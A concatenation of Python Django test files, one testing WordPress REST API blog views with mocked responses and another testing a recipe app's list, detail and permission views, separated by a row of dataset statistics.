'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(reverse('wordpress_api_blog_list'))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_blog_list_view_return_404_if_no_blogs(self):
"""
If the server returns an empty list, it should
return 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
status=200,
json=[],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(reverse('wordpress_api_blog_list'))
self.assertEqual(response.status_code, 404)
# BlogView
@responses.activate
def test_blog_view_return_200(self):
"""
If the wp client gets information, it should return a 200
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_detail', args=('test-blog',)))
self.assertEqual(response.status_code, 200)
@responses.activate
def test_blog_view_return_404_if_server_status(self):
"""
If the server returns something different from 200, it raises 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
status=404,
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_detail', args=('test-blog',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_blog_view_return_404_if_no_blog(self):
"""
if no blog, it should raise 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
status=200,
json=[],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_detail', args=('test-blog',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_blog_view_return_404_if_server_error(self):
"""
If there is a problem with the wp server, it should
return 404
"""
response = self.client.get(
reverse('wordpress_api_blog_detail', args=('test-blog',)))
self.assertEqual(response.status_code, 404)
# CategoryBlogListView
@responses.activate
def test_category_view_return_200(self):
"""
If the wp client gets information, it should return a 200
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_category_list',
args=('test',)))
self.assertEqual(response.status_code, 200)
@responses.activate
def test_category_view_return_404_if_category_not_exists(self):
"""
If the category does not exists, it returns 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_category_list',
args=('not-existing',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_category_view_return_404_if_server_error(self):
"""
If there is a problem with the wp server, it should
return 404
"""
response = self.client.get(
reverse('wordpress_api_blog_category_list',
args=('test-category',)))
self.assertEqual(response.status_code, 404)
# TagBlogListView
@responses.activate
def test_tag_view_return_200(self):
"""
If the wp client gets information, it should return a 200
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_tag_list',
args=('test',)))
self.assertEqual(response.status_code, 200)
@responses.activate
def test_tag_view_return_404_if_tag_not_exists(self):
"""
If the tag does not exists, the view returns 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_tag_list',
args=('not-existing',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_tag_view_return_404_if_server_error(self):
"""
If there is a problem with the wp server, it should
return 404
"""
response = self.client.get(
reverse('wordpress_api_blog_tag_list',
args=('test-tag',)))
self.assertEqual(response.status_code, 404)
# BlogByAuthorListView
@responses.activate
def test_author_view_return_200(self):
"""
If the wp client gets information, it should return a 200
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/tags/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/categories/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_by_author_list',
args=('test-slug',)))
self.assertEqual(response.status_code, 200)
@responses.activate
def test_author_view_return_404_if_author_does_not_exists(self):
"""
If the author does not exists, it raises 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/tags/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/categories/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_by_author_list',
args=('not-existing',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_author_view_return_404_if_server_error(self):
"""
If there is a problem with the wp server, it should
return 404
"""
response = self.client.get(
reverse('wordpress_api_blog_by_author_list',
args=('test-slug',)))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_author_view_return_404_no_blogs(self):
"""
If the wp client get no blogs, returns 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
json=[],
status=200,
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/tags/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL +
'wp-json/wp/v2/categories/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
response = self.client.get(
reverse('wordpress_api_blog_by_author_list',
args=('test-slug',)))
self.assertEqual(response.status_code, 404)
| 36.422072 | 91 | 0.364687 | 5,835 | 75,248 | 4.598286 | 0.038046 | 0.045843 | 0.061123 | 0.076404 | 0.911073 | 0.896538 | 0.889009 | 0.881667 | 0.874474 | 0.866386 | 0 | 0.020802 | 0.504891 | 75,248 | 2,065 | 92 | 36.439709 | 0.699377 | 0.041862 | 0 | 0.720716 | 0 | 0 | 0.249809 | 0.013409 | 0 | 0 | 0 | 0 | 0.023861 | 1 | 0.020607 | false | 0 | 0.003254 | 0 | 0.024946 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c705a2134af86dc44de2411889383b96c8fd5d9d | 76 | py | Python | src/recursive_len/__init__.py | finico/algorithms-python | 92ff5840445e50dfa8f4fb22899d70ced2d29584 | [
"MIT"
] | null | null | null | src/recursive_len/__init__.py | finico/algorithms-python | 92ff5840445e50dfa8f4fb22899d70ced2d29584 | [
"MIT"
] | 5 | 2018-08-31T11:13:55.000Z | 2018-09-12T10:10:20.000Z | src/recursive_len/__init__.py | finico/algorithms-python | 92ff5840445e50dfa8f4fb22899d70ced2d29584 | [
"MIT"
] | 1 | 2018-08-31T16:08:00.000Z | 2018-08-31T16:08:00.000Z | def recursive_len(arr):
return 1 + recursive_len(arr[1:]) if arr else 0
| 25.333333 | 51 | 0.697368 | 14 | 76 | 3.642857 | 0.642857 | 0.470588 | 0.588235 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048387 | 0.184211 | 76 | 2 | 52 | 38 | 0.774194 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
c72ef21859e6ca99a6a574f94d73c38883aacf1d | 15,310 | py | Python | recipe_backend/recipes/tests/test_views.py | jbernal0019/Recipe_site | 30090b521cac84156cf5f05429a12dd5889f8703 | [
"MIT"
] | null | null | null | recipe_backend/recipes/tests/test_views.py | jbernal0019/Recipe_site | 30090b521cac84156cf5f05429a12dd5889f8703 | [
"MIT"
] | 3 | 2020-02-12T01:22:24.000Z | 2021-06-10T21:49:21.000Z | recipe_backend/recipes/tests/test_views.py | jbernal0019/Recipe_site | 30090b521cac84156cf5f05429a12dd5889f8703 | [
"MIT"
] | null | null | null |
import json
from unittest import mock
from django.test import TestCase
from django.urls import reverse
from django.contrib.auth.models import User
from rest_framework import status
from recipes.models import Recipe
from recipes.models import Ingredient
from recipes.models import Step
class ViewTests(TestCase):
def setUp(self):
self.username = 'foo'
self.password = 'foopassword'
self.email = 'dev@server.org'
self.recipe_name = 'recipe1'
self.content_type = 'application/vnd.collection+json'
# create basic models
# create a user
user = User.objects.create_user(username=self.username,
email=self.email,
password=self.password)
# create another user
User.objects.create_user(username='another', email='another@server.org',
password='another-pass')
# create a recipe
Recipe.objects.get_or_create(name=self.recipe_name, owner=user)
class RecipeListViewTests(ViewTests):
"""
Test the recipe-list view.
"""
def setUp(self):
super(RecipeListViewTests, self).setUp()
self.create_read_url = reverse("recipe-list")
self.post = json.dumps({
"template": {"data": [{"name": "name", "value": "another_recipe"}]}})
def test_recipe_create_success(self):
self.client.login(username='another', password='another-pass')
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_recipe_create_failure_unauthenticated(self):
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_recipe_list_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.create_read_url)
self.assertContains(response, self.recipe_name)
def test_plugin_list_success_unauthenticated(self):
response = self.client.get(self.create_read_url)
self.assertContains(response, self.recipe_name)
class RecipeDetailViewTests(ViewTests):
"""
Test the recipe-detail view.
"""
def setUp(self):
super(RecipeDetailViewTests, self).setUp()
recipe = Recipe.objects.get(name=self.recipe_name)
self.read_update_delete_url = reverse("recipe-detail", kwargs={"pk": recipe.id})
self.put = json.dumps({
"template": {"data": [{"name": "name", "value": "another_recipe"}]}})
def test_recipe_detail_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.recipe_name)
def test_recipe_detail_success_unauthenticated(self):
response = self.client.get(self.read_update_delete_url)
self.assertContains(response, self.recipe_name)
def test_recipe_update_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertContains(response, "another_recipe")
def test_recipe_update_failure_unauthenticated(self):
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_recipe_update_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.put(self.read_update_delete_url, data=self.put,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_recipe_delete_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(Recipe.objects.count(), 0)
def test_recipe_delete_failure_unauthenticated(self):
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_recipe_delete_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
response = self.client.delete(self.read_update_delete_url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
class RecipeListQuerySearchViewTests(ViewTests):
"""
Test the recipe-list-query-search view.
"""
def setUp(self):
super(RecipeListQuerySearchViewTests, self).setUp()
self.list_url = reverse("recipe-list-query-search") + '?owner_username=' + self.username
def test_recipe_list_query_search_success_authenticated(self):
self.client.login(username=self.username, password=self.password)
response = self.client.get(self.list_url)
self.assertContains(response, self.username)
self.assertContains(response, self.recipe_name)
def test_plugin_list_query_search_success_unauthenticated(self):
response = self.client.get(self.list_url)
self.assertContains(response, self.username)
self.assertContains(response, self.recipe_name)
class IngredientListViewTests(ViewTests):
"""
Test the ingredient-list view.
"""
def setUp(self):
super(IngredientListViewTests, self).setUp()
recipe = Recipe.objects.get(name=self.recipe_name)
self.create_read_url = reverse("ingredient-list", kwargs={"pk": recipe.id})
self.text = "Great ingredient"
self.post = json.dumps({
"template": {"data": [{"name": "text", "value": self.text}]}})
# add ingredient :-)
Ingredient.objects.get_or_create(recipe=recipe, text=self.text)
def test_ingredient_create_success(self):
self.client.login(username=self.username, password=self.password)
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_ingredient_create_failure_unauthenticated(self):
response = self.client.post(self.create_read_url, data=self.post,
content_type=self.content_type)
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
def test_ingredient_create_failure_access_denied(self):
self.client.login(username='another', password='another-pass')
